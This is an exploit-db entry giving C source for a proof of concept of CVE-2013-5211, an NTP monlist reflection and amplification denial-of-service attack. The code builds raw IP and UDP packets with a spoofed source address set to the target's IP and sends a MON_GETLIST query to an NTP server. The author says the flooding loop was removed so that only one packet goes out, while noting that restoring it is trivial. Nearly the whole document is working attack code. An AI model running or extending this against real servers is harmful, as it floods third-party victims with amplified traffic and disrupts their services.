NTP ntpd monlist Query Reflection – Denial of Service

  • 作者: Danilo PC
    日期: 2014-04-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33073/
  • /*
     * Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
     * Date: 28/04/2014
     * Code Author: Danilo PC - <DaNotKnow@gmail.com>
     * CVE : CVE-2013-5211
    */
    
    /* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
     * I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there, 
     *if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
     */
    
    //------------------------------------------------------------------------------------------------//
    //------------------------------------------------------------------------------------------------//
    
    
    #include <stdio.h> //For on printf function
    #include <string.h>//For memset
    #include <sys/socket.h>//Structs and Functions used for sockets operations.
    #include <stdlib.h>	 //For exit function
    #include <netinet/ip.h>//Structs for IP header
    
    //Struct for UDP Packet
    struct udpheader{
    	unsigned short int udp_sourcePortNumber;
    	unsigned short int udp_destinationPortNumber;
    	unsigned short int udp_length;
    	unsigned short int udp_checksum;
    };
    
    // Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
    struct 	ntpreqheader {
    	unsigned char rm_vn_mode;		/* response, more, version, mode */
    	unsigned char auth_seq;		/* key, sequence number */
    	unsigned char implementation;		/* implementation number */
    	unsigned char request;			/* request number */
    	unsigned short err_nitems;		/* error code/number of data items */
    	unsigned shortmbz_itemsize;		/* item size */
    	char data[40];				/* data area [32 prev](176 byte max) */
    	unsigned long tstamp;			/* time stamp, for authentication */
    	unsigned int keyid;			/* encryption key */
    	char mac[8]; 		/* (optional) 8 byte auth code */
    };
    
    
    // Calculates the checksum of the ip header.
    unsigned short csum(unsigned short *ptr,int nbytes) 
    {
    register long sum;
    unsigned short oddbyte;
    register short answer;
    
    sum=0;
    while(nbytes>1) {
    sum+=*ptr++;
    nbytes-=2;
    }
    if(nbytes==1) {
    oddbyte=0;
    *((u_char*)&oddbyte)=*(u_char*)ptr;
    sum+=oddbyte;
    }
    
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
    return(answer);
    }
    
    
    //Da MAIN
    
    int main(int argc, char **argv)
    {
    int status;			// Maintains the return values of the functions
    struct iphdr *ip;		// Pointer to ip header struct
    struct udpheader *udp;		// Pointer to udp header struct
    struct ntpreqheader *ntp;	// Pointer to ntp request header struct
    int sockfd;			// Maintains the socket file descriptor
    int one = 1;			// Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
    struct sockaddr_in dest;	// Maintains the data of the destination address
    char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself
    
    // Parameters check
    	if( argc != 3){
    		printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
    		printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
    		printf("Watch it on wireshark!\n");
    		printf("Coded for education purpose only!\n");
    		exit(1);
    	}
    
    // Create a socket and tells the kernel that we want to use udp as layer 4 protocol
    	sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    	if (sockfd == -1){
    		printf("Error on initializing the socket\n");
    		exit(1);
    	}
    
    
    
    //Sets the option IP_HDRINCL
    	status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
    	if (status == -1){
    printf("Error on setting the option HDRINCL on socket\n");
    exit(1);
    }
    
    
    //"Zeroes" all the packet stack
    	memset( packet, 0, sizeof(packet) );
    
    
    //Mounts the packet headers
    // [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
    	ip = (struct iphdr *)packet;
    	udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
    	ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
    
    
    //Fill the IP Header
    	ip->version = 4;		//IPv4
    ip->ihl = 5;			//Size of the Ip header, minimum 5
    ip->tos = 0;			//Type of service, the default value is 0
    ip->tot_len = sizeof(packet); //Size of the datagram
    ip->id = htons(1234); 	//LengthIdentification Number
    ip->frag_off = 0;		//Flags, zero represents reserved
    ip->ttl = 255;			//Time to Live. Maximum of 255
    ip->protocol = IPPROTO_UDP;	//Sets the UDP as the next layer protocol
    ip->check = 0;			//Checksum.
    ip->saddr = inet_addr( argv[1] );//Source ip ( spoofing goes here)
    ip->daddr = inet_addr( argv[2] ); //Destination IP
    
    	//Fills the UDP Header
    	udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port
    	udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port
    	udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
    	udp->udp_checksum = 0;				 //Checksum
    
    	//Calculate the checksums
    	ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header
    
    	//Sets the destination data
    	dest.sin_family = AF_INET;				 // Address Family Ipv4
    	dest.sin_port = htons (atoi( "123" ) ) ; 		// Destination port
    	dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereço para onde se quer enviar o pacote 
    
    	//Fills the NTP header
    	//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
    	//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the 
    	// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet. 
    	// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
    	ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
    	ntp->implementation=0x03; //Sets the implementation to 3
    	ntp->request=0x2a;	//Sets the request field to 42 ( MON_GETLIST )
    				//All the other fields of the struct are zeroed
    	
    
    	// Sends the packets
    	status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
    		if(status <0){
    			printf("Failed to send the packets\n");
    			exit(1);
    		}
    
    
    }